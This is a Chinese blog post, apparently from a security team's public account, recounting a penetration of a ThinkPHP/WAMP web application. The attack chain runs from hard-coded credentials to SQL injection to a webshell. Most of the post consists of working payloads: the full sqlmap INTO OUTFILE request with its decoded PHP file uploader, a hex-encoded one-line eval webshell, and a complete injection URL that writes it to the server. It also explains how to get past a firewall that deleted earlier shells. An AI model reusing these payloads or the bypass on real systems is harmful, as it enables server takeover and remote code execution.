【技术分享】从sql注入到getshell"

admin 2026-10-16 06:03:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【技术分享】从sql注入到getshell

原创

xioy
xioy

我吃饼干

2026年9月28日 08:00
江苏

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

  1. 本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。
  2. 任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
  3. 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。
  4. 使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

01**

尝试

1.1

硬编码

拿到目标直接F12搜索关键字,在搜索password时找到两个账户

成功登录账号

1.2

sql注入

在后台翻了一下功能点,能用的非常少。打算放弃的时候,发现实验报告中的查看报告功能存在sql注入漏洞。

直接sqlmap验证

注入漏洞无非就是在数据库找找有没有什么敏感信息、多找几个弱口令账户之类的。原本以为到这里就结束了,没想到还有大的。

1.3

尝试getshell

无意输错路径发现目标站点是thinkphp搭建的,报错里面泄露了绝对路径。

众所周知sqlmap是可以上传文件getshell的,按照指示输入暴露的绝对路径。

sqlmap成功把上传入口传上去了。

通过上传入口上传木马,访问木马发现被删了。看来对方机器上有防火墙在拦着,但是sqlmap的上传入口文件是怎么传上去的呢,我就纳闷了,抓包看看。

02

分析

2.1

标题

输入绝对路径后sqlmap共执行了7条记录。

第一条是正常的,直接从第二条开始看,数据包:

GET /sudaweb/index.php/User/getExperimentData?sy_id=-1250%29%20OR%205997%3D5997%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2Fwamp%2Fwww%2Fsudaweb%2Ftmpuumap.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c77616d705c5c7777775c5c737564617765625c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1Host: 127.0.0.1X-Requested-With: XMLHttpRequestAccept-Language: zh-CN,zh;q=0.9Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brCookie: PHPSESSID=hickr1ea0g9kck24flm03h1uk0Connection: keep-alive

因为我给他的绝对路径是:C:\wamp\www\sudaweb\,所以sqlmap就在C:/wamp/www/sudaweb/路径下创建名为tmpuumap.php的文件,这时上传入口已成功上传上去。

解码内容:

<?phpif (isset($_REQUEST[\"upload\"])) {    $dir = $_REQUEST[\"uploadDir\"];    if (phpversion() < '4.1.0') {        $file = $HTTP_POST_FILES[\"file\"][\"name\"];        @move_uploaded_file($HTTP_POST_FILES[\"file\"][\"tmp_name\"], $dir . \"/\" . $file) or die();    } else {        $file = $_FILES[\"file\"][\"name\"];        @move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], $dir . \"/\" . $file) or die();    }    @chmod($dir . \"/\" . $file, 0755);    echo \"File uploaded\";} else {    echo \"<form action=\\\"\" . $_SERVER[\"PHP_SELF\"] . \"\\\" method=POST enctype=multipart/form-data>    <input type=hidden name=MAX_FILE_SIZE value=1000000000>    <b>sqlmap file uploader</b>    <input name=file type=file>    to directory: <input type=text name=uploadDir value=C:\\\\wamp\\\\www\\\\sudaweb\\\\>    <input type=submit name=upload value=upload>    </form>\";}?>

3到5的数据包是sqlmap在逐层请求tmpuumap.php文件,最终在sudaweb文件夹下找到tmpuumap.php文件

然后再通过tmpuumap.php上传入口上传名为tmpbbdpo.php的木马文件

接着通过tmpbbdpo.php木马执行测试命令,并成功打印目标信息。

通过tmpbbdpo.php文件尝试执行whoami、ipconfig发现都会被拦截,且无法通过工具连接该shell。测试执行dir命令时却能够返回信息。

03

成功

3.1

getshell

后续做了好几个木马,通过上传入口传上去立马就被杀。转念一想,sqlmap通过内容编码就可以把文件传上去,那我把木马编码后再传上去试试。

原始内容:<?php @eval($_POST['1']);?>
编码后内容:3C3F70687020406576616C28245F504F53545B2731275D293B3F3E
完整请求体:GET /sudaweb/index.php/User/getExperimentData?sy_id=-1250%29%20OR%205997%3D5997%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2Fwamp%2Fwww%2Fsudaweb%2F1.php%27%20LINES%20TERMINATED%20BY%200x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E--%20-

成功getshell

3.2

题外

在构造请求体时有个坑,发现不能直接把十六进制填写进去,了解了一下才知道是因为MySQL语法解析和注释符造成的。

第一条MySQL解析时LINES TERMINATED BY后面需要一个字符串常量。如果0x3C...被识别为十六进制字符串,SQL语句到这里就完整了。但有些MySQL版本或配置会认为语句不完整,没有--注释符,后续URL参数可能被附加到SQL末尾,导致语法错误。

还有就是URL编码问题,第一个payload在0x3C3F...后面没有编码空格,而实际上浏览器或者服务器可能会把末尾空格截断,将0x3C3F...后的内容视为新参数,导致执行错误无法写入文件。

-1250) OR 5997=5997 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/sudaweb/2.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E

第二条是因为-- -是MySQL注释符。-- 表示注释开始, -是注释内容。
主要作用就是忽略后面所有内容,包括URL可能附加的额外参数。如果URL末尾有额外字符,也会被注释掉。MySQL只解析到--之前,所以第二条符合规范,能够写入文件。

-1250) OR 5997=5997 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/sudaweb/1.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E-- -

往期文章推荐

【技术分享】从渗透到逆向还原攻击过程

【技术分享】逻辑漏洞逻辑漏洞还是逻辑漏洞

【技术分享】记一次从信息泄露到重置任意用户密码的渗透过程

项

目

承

接

团队中的师傅们都来自国内安全厂商在职的一线工程师,均具有良好的职业素养与丰富的从业经验。

渗透测试

Web渗透、APP渗透、小程序渗透、内网渗透

CTF

培训、竞赛、解题、AWD竞赛服务

考证

NISP考证、CISP考证

TNT文库

所有文章第一时间会发布在文库中,文库中的内容全部免费开放。

访问密码每周都会更换,最新访问密码请在公众号的菜单栏:资源获取-漏洞文库中获取。

edusrc邀请码

免费不限量提供edusrc邀请码,请在公众号的菜单栏:资源获取-edusrc邀请码中获取。

END

点个「推荐」 我的零食分你一半


【技术分享】从sql注入到getshell" 网络安全文章

【技术分享】从sql注入到getshell"

本文记录一次从SQL注入到getshell的完整渗透测试过程。攻击者通过硬编码账号登录后台,发现SQL注入漏洞后利用sqlmap结合INTOOUTFILE上传文件,通过编码绕过防火墙成功getshell。文章详细分析了payload构造中MySQL语法解析与注释符的坑,对实战渗透具有参考价值。
【日报】AW重要数据泄露(20260928)" 网络安全文章

【日报】AW重要数据泄露(20260928)"

该文档为2026年9月28日全球数据泄露日报,汇总了5起重大泄露事件:俄罗斯政府工程技术文件泄露、尼泊尔74万公民护照数据泄露、乌干达议会数据库入侵、俄罗斯军用电子战干扰器数据被出售、美国海军陆战队数据库泄露。涉及政府、军事及公民敏感数据,威胁行为者通过暗网论坛传播并售卖数据。
评论:0   参与:  0